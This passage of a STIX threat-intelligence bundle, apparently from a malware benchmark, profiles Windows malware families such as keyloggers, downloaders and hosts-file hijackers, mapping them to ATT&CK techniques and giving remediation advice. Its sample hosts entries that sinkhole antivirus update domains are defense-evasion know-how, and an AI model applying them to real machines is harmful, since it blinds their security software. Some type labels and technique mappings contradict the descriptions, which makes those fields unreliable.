      "description": "<h3>Executive Summary</h3>\n\"Hooker\" refers to a category of highly invasive software\u2014often classified as Spyware, HackTools, or Info Stealers\u2014that utilizes deep Windows API hooking to intercept and manipulate communication between the operating system and running applications. While some legitimate security software uses these techniques, \"Hooker\" variants are specifically designed by threat actors to silently capture sensitive data, most notably functioning as advanced keyloggers and credential harvesters.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nMalicious Hooker utilities are typically deployed via targeted spear-phishing campaigns, hidden within trojanized software installers, or dropped by an initial access broker who has compromised the system.\n\nOnce executed, the malware leverages deep system access:\n<ul>\n<li><strong>API Hooking (`SetWindowsHookEx`):</strong> This is the defining characteristic. The malware injects a DLL into running processes and utilizes the `SetWindowsHookEx` API to insert a \"hook procedure\" into the message traffic of the system. This allows the malware to intercept hardware interrupts (like keystrokes or mouse clicks) before they reach the intended application.</li>\n<li><strong>Inline Hooking (Detours):</strong> More advanced variants may overwrite the beginning of specific API functions (like those used for network communication or file access) with a jump instruction, redirecting the execution flow to the malware's own code.</li>\n<li><strong>Data Exfiltration:</strong> By intercepting these low-level messages, the Hooker silently records passwords, chat logs, and banking information to encrypted, hidden files, which are later exfiltrated to a C2 server.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nThe detection of an unauthorized Hooker is a critical security incident. Because it intercepts data at the API level, it can capture passwords even if the user is interacting with a secure (HTTPS) website or application. The presence of this malware guarantees the compromise of any credential entered on the machine.\n\n<h3>Incident Response and Remediation</h3>\n<ul>\n<li><strong>Immediate Network Isolation:</strong> The highest priority is to disconnect the infected endpoint from the network to halt the active exfiltration of the intercepted data logs.</li>\n<li><strong>Global Credential Reset:</strong> It must be assumed that *all* passwords typed on the machine have been stolen. A mandatory, immediate reset of all associated enterprise credentials is required.</li>\n<li><strong>Complete Re-imaging:</strong> Due to the deep system hooking and DLL injection utilized by this malware, attempting to \"clean\" the machine manually is highly risky and often ineffective. A complete bare-metal wipe and re-image from a trusted baseline is necessary.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Spyware.Hooker",
        "Trojan.Keylogger.Hook",
        "HackTool.Hooker",
        "Win32/APIHook"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Hooker",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/hooker"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5042ec42-a8ff-5308-bf28-769fe0f30182",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c8337763-1171-55e8-9bef-46c80e827f14",
      "target_ref": "attack-pattern--5f54d0f8-5d15-5341-b1b0-5a7cbe6761ce",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hooker exhibits technique T1056.001 (Keylogging)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e0b0471b-42e4-5219-b364-d370d3a49efd",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c8337763-1171-55e8-9bef-46c80e827f14",
      "target_ref": "attack-pattern--0a1fb694-bbfe-5e7d-89e1-1f78720af865",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hooker exhibits technique T1055.001 (Dynamic-link Library Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--11e7c7ba-fff5-5727-9179-42e5dd6777d0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c8337763-1171-55e8-9bef-46c80e827f14",
      "target_ref": "attack-pattern--d7bd29aa-86c7-5903-8cae-4f2aef4d2e59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hooker exhibits technique T1115 (Clipboard Data)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8b5ae954-63b8-5ed7-8065-ac32d402c7b2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c8337763-1171-55e8-9bef-46c80e827f14",
      "target_ref": "attack-pattern--cc77f11e-b255-5f7b-94cd-4cc31b548a03",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hooker exhibits technique T1129 (Shared Modules (Direct API calls via DllCall))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--f142a4de-692c-52fa-9868-ae531ee62f22",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Hookey",
      "description": "Hookey (classified across security software as Spyware:Win32/Hookey, Trojan:Win32/Hookey, and Win32/Hookey) is a covert Windows keystroke logging and monitoring spyware utility. Distributed through malicious email attachments, Trojanized utility archives, and corporate spear-phishing payloads, Hookey is engineered for prolonged espionage and surveillance. Upon execution, Hookey installs a global Windows user hook via the SetWindowsHookExW API with WH_KEYBOARD_LL (low-level keyboard hook) and WH_MOUSE_LL flags. This allows Hookey to intercept all keystrokes, clipboard modifications, and mouse clicks before they reach target application windows. Hookey captures active window titles, timestamps, and entered text (including corporate passwords, private messages, and financial data), buffering logs into encrypted local cache files before exfiltrating them over SMTP email or encrypted HTTP POST to an attacker server. (Observed samples in benchmark: 17)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Spyware:Win32/Hookey",
        "Trojan:Win32/Hookey",
        "Win32/Hookey",
        "Hookey Keylogger",
        "Spyware.Hookey"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Hookey",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/hookey"
        }
      ],
      "labels": [
        "spyware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--e2d93495-52f7-5d51-ba48-d973a66ad79a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Hookmoot",
      "description": "<h3>Executive Summary</h3>\nHookmoot is a malicious Trojan designed to covertly infiltrate Windows systems, establish persistence, and act as a reliable downloader for remote threat actors. It is frequently utilized in the initial stages of a cyberattack to gather system intelligence and facilitate the automated deployment of secondary, highly destructive malware payloads, such as enterprise ransomware or banking trojans.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nHookmoot is predominantly distributed through socially engineered spam campaigns containing malicious attachments (often weaponized PDFs or Office documents utilizing macro exploits) or via compromised software installers downloaded from untrustworthy web portals.\n\nUpon successful execution, Hookmoot operates with a focus on stealth and payload delivery:\n<ul>\n<li><strong>System Reconnaissance:</strong> The trojan immediately collects detailed system information, including the OS version, installed software, Active Directory domain membership, and active antivirus solutions. This fingerprint is transmitted to a command-and-control (C2) server.</li>\n<li><strong>Persistence:</strong> Hookmoot ensures it survives system reboots by modifying the Windows Registry (e.g., adding entries to the `Run` or `RunOnce` keys) or by creating hidden Scheduled Tasks that execute the malware payload under high privileges.</li>\n<li><strong>Payload Delivery:</strong> Acting as a downloader, Hookmoot receives instructions from the C2 server to silently download and execute secondary malware. This provides the attacker with a flexible platform to escalate the attack based on the value of the compromised host.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA Hookmoot infection represents a significant breach of the endpoint perimeter. Because it provides remote attackers with the ability to execute arbitrary code, a single compromised machine can rapidly be utilized to pivot laterally and compromise the entire corporate network.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Endpoint Detection and Response (EDR):</strong> Configure EDR solutions to monitor for anomalous registry modifications and unauthorized outbound network connections to unknown IP addresses.</li>\n<li><strong>Network Isolation and Sweeps:</strong> Immediately isolate the infected endpoint from the LAN. Conduct a thorough forensic sweep to identify not only the Hookmoot executable but also any secondary payloads it may have successfully deployed.</li>\n<li><strong>Credential Reset:</strong> Because Hookmoot frequently facilitates the deployment of info-stealers, all user credentials associated with the compromised endpoint must be treated as compromised and immediately reset.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Hookmoot",
        "Downloader.Hookmoot",
        "Win32/Hookmoot"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Hookmoot",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/hookmoot"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d57aa6ef-96a7-5489-8006-e978e8451689",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e2d93495-52f7-5d51-ba48-d973a66ad79a",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hookmoot exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c1e709ae-3ad6-5b22-8489-c9fd9c6a8a03",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e2d93495-52f7-5d51-ba48-d973a66ad79a",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hookmoot exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--bae2538b-cd36-5d64-bf78-aa069e1701f1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e2d93495-52f7-5d51-ba48-d973a66ad79a",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hookmoot exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--fe0ec826-b79f-5188-abe2-6a5285c65244",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Horst",
      "description": "Trojan:Win32/Horst is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Horst</b><br>To an end-user, a Horst infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Horst is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Horst is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Horst frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Horst reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 3)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Horst",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/horst"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--898cfe21-a558-5987-9b15-c4f1d5c3b185",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--fe0ec826-b79f-5188-abe2-6a5285c65244",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Horst exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2ccb8bcc-ad6a-57f4-81a7-f4c009a24fea",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--fe0ec826-b79f-5188-abe2-6a5285c65244",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Horst exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d2c07e2d-6412-56bc-9dda-19c7a1a912ac",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--fe0ec826-b79f-5188-abe2-6a5285c65244",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Horst exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c236c394-22ee-581c-a939-cdbad678be39",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--fe0ec826-b79f-5188-abe2-6a5285c65244",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Horst exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7cea7e56-28b8-56bd-9add-52b19f7118bc",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--fe0ec826-b79f-5188-abe2-6a5285c65244",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Horst exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--e805c930-6832-5513-86a2-f1d3ff2cece6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Hostmodifier",
      "description": "Behavior:Win32/Hostmodifier is a specific **Heuristic Detection** that flags unauthorized modification of the Windows `hosts` file (`C:\\Windows\\System32\\drivers\\etc\\hosts`). The `hosts` file is a local text file used by the operating system to map hostnames to IP addresses, superseding DNS lookups. Malware, Adware, and Rogue Antivirus programs frequently hijack this file to redirect web traffic, block security updates, or facilitate phishing attacks.<br><br><b>Understanding Hostmodifier (DNS Hijacking)</b><br>To an end-user, a modified `hosts` file results in strange browser behavior: attempting to visit Google might redirect to an ad-filled search page, or attempting to visit a banking site might load a pixel-perfect phishing replica. For a security analyst, this alert indicates an Impair Defenses (`T1562.004`) tactic or an active attempt to manipulate the user's network routing.<br><br><b>Execution and Hijacking Mechanics</b><br>Malware typically requires Administrator privileges to modify the `hosts` file. Once executed (`T1204.002`), the malware opens the file and appends malicious entries. A common tactic is 'sinkholing' security vendors by adding entries like `127.001 update.microsoft.com` or `127.0.0.1 www.symantec.com`, which forces the local machine to route those requests to itself, effectively blocking the AV from downloading new signature definitions. Alternatively, Adware might add entries to redirect popular search engines to their own monetized portals.<br><br><b>Indicators of Compromise & Impact</b><br>The impact ranges from the inability to update security software to catastrophic credential theft via local phishing redirection. Host-based IoCs include EDR alerts monitoring changes to the `hosts` file, and manual inspection revealing long lists of unfamiliar domains mapped to `127.0.0.1` or unexpected external IP addresses. Network IoCs may involve user traffic destined for legitimate domains unexpectedly routing to unknown or malicious IP subnets. (Observed samples in benchmark: 3)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Hostmodifier",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/hostmodifier"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d1c0eb61-3623-5026-be86-daba1cfd39e0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e805c930-6832-5513-86a2-f1d3ff2cece6",
      "target_ref": "attack-pattern--6da3a18b-2dc8-5bb7-8b6a-6bfb5a4c09e1",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hostmodifier exhibits technique T1562.004 (Impair Defenses: Disable or Modify System Firewall (Blocking AV updates))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3243b14f-3ef5-544e-b827-0a15b9161b51",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e805c930-6832-5513-86a2-f1d3ff2cece6",
      "target_ref": "attack-pattern--95fcfa9c-4678-5a49-9758-2507908bd03c",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hostmodifier exhibits technique T1566.002 (Phishing: Spearphishing Link (Redirecting to phishing sites))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0ad55586-aa9f-5ed9-92d1-f4d2aa89fddf",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e805c930-6832-5513-86a2-f1d3ff2cece6",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hostmodifier exhibits technique T1112 (Modify Registry / System Files)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--ebba6c40-0ff0-5a53-9479-4ae9d0a18de7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Hosts",
      "description": "BrowserModifier:Win32/Hosts (or simply 'Hosts file hijacker') is a generic heuristic detection for malware or adware that maliciously modifies the Windows HOSTS file to redirect web traffic, block security updates, or facilitate phishing.<br><br><b>What is a HOSTS Hijack?</b><br>For general consumers, a modified HOSTS file results in bizarre browsing behavior: attempting to visit <code>google.com</code> might redirect to a fake search engine, or attempting to visit <code>microsoft.com</code> simply times out. For incident responders, HOSTS hijacking is a rudimentary but highly effective DNS override technique. The Windows OS checks the local HOSTS file (<code>C:\\Windows\\System32\\drivers\\etc\\hosts</code>) before querying external DNS servers. Malware exploits this to sinkhole security traffic or redirect banking URLs to attacker-controlled phishing infrastructure.<br><br><b>Infection Vectors & Threat Hunting</b><br>Malware variants (ranging from simple adware to severe banking trojans) require local Administrator privileges to modify the HOSTS file. Upon execution, the malware appends hundreds of entries to the file. Commonly, it maps AV update domains (like <code>liveupdate.symantec.com</code> or <code>update.microsoft.com</code>) to <code>127.0.0.1</code> (localhost), effectively blinding the endpoint's security software. Alternatively, it maps financial domains (<code>chase.com</code>) to malicious IP addresses. Threat hunters can trivially detect this by monitoring the integrity and size of the HOSTS file.<br><br><b>Forensic Analysis & Impact</b><br>The impact ranges from simple annoyance (adware redirection) to severe financial loss (banking phishing) and compromised security posture. Incident responders should immediately open the HOSTS file in Notepad and review the entries. EDR tools frequently trigger alerts when processes other than <code>svchost.exe</code> or authorized admin tools attempt to write to the <code>\\drivers\\etc\\</code> directory. (Observed samples in benchmark: 267)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Hosts",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/hosts"
        }
      ],
      "labels": [
        "trojan_generic",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f0a48068-32ac-5b83-a49f-43b33e491f65",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ebba6c40-0ff0-5a53-9479-4ae9d0a18de7",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hosts exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--90087bb8-c049-53e4-96ed-afcee326145c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ebba6c40-0ff0-5a53-9479-4ae9d0a18de7",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hosts exhibits technique T1112 (Modify Registry)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--add6bdb9-9486-5699-bba1-8a9808f72b8d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ebba6c40-0ff0-5a53-9479-4ae9d0a18de7",
      "target_ref": "attack-pattern--20e5386c-6e50-506e-97e9-42f037007043",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hosts exhibits technique T1566 (Phishing)."
    },
    {
      "type": "attack-pattern",
      "spec_version": "2.1",
      "id": "attack-pattern--427a3e00-98bb-5de2-9a76-2010f8433198",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "T1584: Compromise Infrastructure",
      "description": "MITRE ATT&CK Technique T1584 (Compromise Infrastructure) under tactic Resource Development.",
      "external_references": [
        {
          "source_name": "mitre-attack",
          "external_id": "T1584",
          "url": "https://attack.mitre.org/techniques/T1584/"
        }
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b140c32b-68e4-54b0-886a-c1366be54c00",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ebba6c40-0ff0-5a53-9479-4ae9d0a18de7",
      "target_ref": "attack-pattern--427a3e00-98bb-5de2-9a76-2010f8433198",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hosts exhibits technique T1584 (Compromise Infrastructure)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c36f6cb0-069e-518f-bcb5-bc87fa013da4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ebba6c40-0ff0-5a53-9479-4ae9d0a18de7",
      "target_ref": "attack-pattern--d71e4a80-4385-54ba-a7cd-286f5b07bf07",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hosts exhibits technique T1498 (Network Denial of Service)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--719edc0a-fdfe-5b35-8089-b3380684b259",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Hostschanger",
      "description": "HackTool:Win32/Hostschanger is a critical **Heuristic Detection** that flags any unauthorized software attempting to maliciously modify the `C:\\Windows\\System32\\drivers\\etc\\hosts` file. While legitimate IT administration scripts sometimes modify this file, malware heavily abuses it to redirect network traffic at the local DNS level, enabling severe phishing attacks, ad-fraud, and defense evasion.<br><br><b>Understanding Hostschanger (DNS Hijacking)</b><br>To an end-user, an infection might cause them to see a fake banking login page even though they typed the correct URL, or they might find themselves unable to access antivirus update sites. For a security analyst, a Hostschanger alert indicates a successful compromise of DNS resolution at the OS level (`T1562.004`). By overriding the DNS cache, the attacker controls where the victim's browser goes for specific domains.<br><br><b>Execution and Hijacking Mechanics</b><br>Upon execution (`T1204.002`), the malware (which must run with Administrator privileges) opens the `hosts` file and appends new entries. The two most common scenarios are: 1) **Defense Evasion (`T1562.001`)**: Routing requests for `update.microsoft.com` or `liveupdate.symantec.com` to `127.0.0.1` (localhost), effectively blinding the endpoint's security software by preventing updates. 2) **Phishing/Fraud**: Routing requests for `www.chase.com` to a malicious IP address controlled by the attacker, serving a perfect replica of the banking site to steal credentials. Because the hosts file supersedes DNS, the browser will show the correct URL in the address bar, making the phishing attack highly convincing.<br><br><b>Indicators of Compromise & Impact</b><br>The impact ranges from a disabled antivirus agent to severe credential theft. Host-based IoCs include EDR alerts for processes editing the `hosts` file, and the presence of anomalous IP mappings within the file itself. Network IoCs might show the endpoint communicating with unknown IP addresses over port 443 when attempting to reach known, legitimate domains. (Observed samples in benchmark: 3)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Hostschanger",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/hostschanger"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ffb11bf5-548a-5345-9f32-6874a7870f8b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--719edc0a-fdfe-5b35-8089-b3380684b259",
      "target_ref": "attack-pattern--6da3a18b-2dc8-5bb7-8b6a-6bfb5a4c09e1",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hostschanger exhibits technique T1562.004 (Impair Defenses: Disable or Modify System Firewall (Modifying Hosts File))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--73c97298-0513-5fe1-bcce-a9f18ac6425e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--719edc0a-fdfe-5b35-8089-b3380684b259",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hostschanger exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools (Blocking AV updates))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b1185cc3-7050-590c-8d2a-15ffbb45ddca",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--719edc0a-fdfe-5b35-8089-b3380684b259",
      "target_ref": "attack-pattern--bef94ccf-f6d3-5ee9-8eaa-a8867a38a5a4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hostschanger exhibits technique T1204.002 (User Execution: Malicious File)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--f38eaf52-be2e-58a3-9cf7-f7d4fd4a5174",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Hostseditor",
